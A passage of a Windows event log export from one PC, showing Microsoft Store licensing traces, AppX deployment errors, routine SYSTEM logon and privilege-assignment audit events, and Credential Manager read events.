issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.117\t404\tAppX Deployment operation failed for package Microsoft.Edge.GameAssist_8wekyb3d8bbwe with error 0x80070005. The specific error text for this failure is: NULL\tError\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.616\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:29.616\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:29.623\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.623\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.623\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8001\t\"0000021F831D31E0: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8011\t0x21f83133e68: 16532: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8011\t0x21f831d3200: 16532: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8001\t\"0000021F831D31E0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.624\t8012\t0x21f831d3200: 16532: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.625\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.626\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.626\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.628\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.628\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.628\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.628\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.629\t8001\t\"lease = 0x831ad058, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.629\t8001\t\"lease = 0x831ad058, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.629\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.629\t8011\t0x21f831d3200: 16532: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"lease = 0x831ad058, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Lease Machine: 0000021F8312B600: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Set results for lease = 0x831ad058, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831ad058\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8012\t0x21f831d3200: 16532: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8011\t0x21f8312b620: 16532: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8012\t0x21f8312b620: 16532: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.633\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f831d3200: 4424: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f831d3200: 10704: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8012\t0x21f831d3200: 10704: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 43.043484 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f8312b620: 16532: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f8312b620: 16532: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8011\t0x21f8312b620: 16532: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8012\t0x21f8312b620: 16532: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.634\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:29.635\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.635\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.636\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.636\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:29.678\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:29.678\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:29.836\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:30.043\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.043\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:30.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential 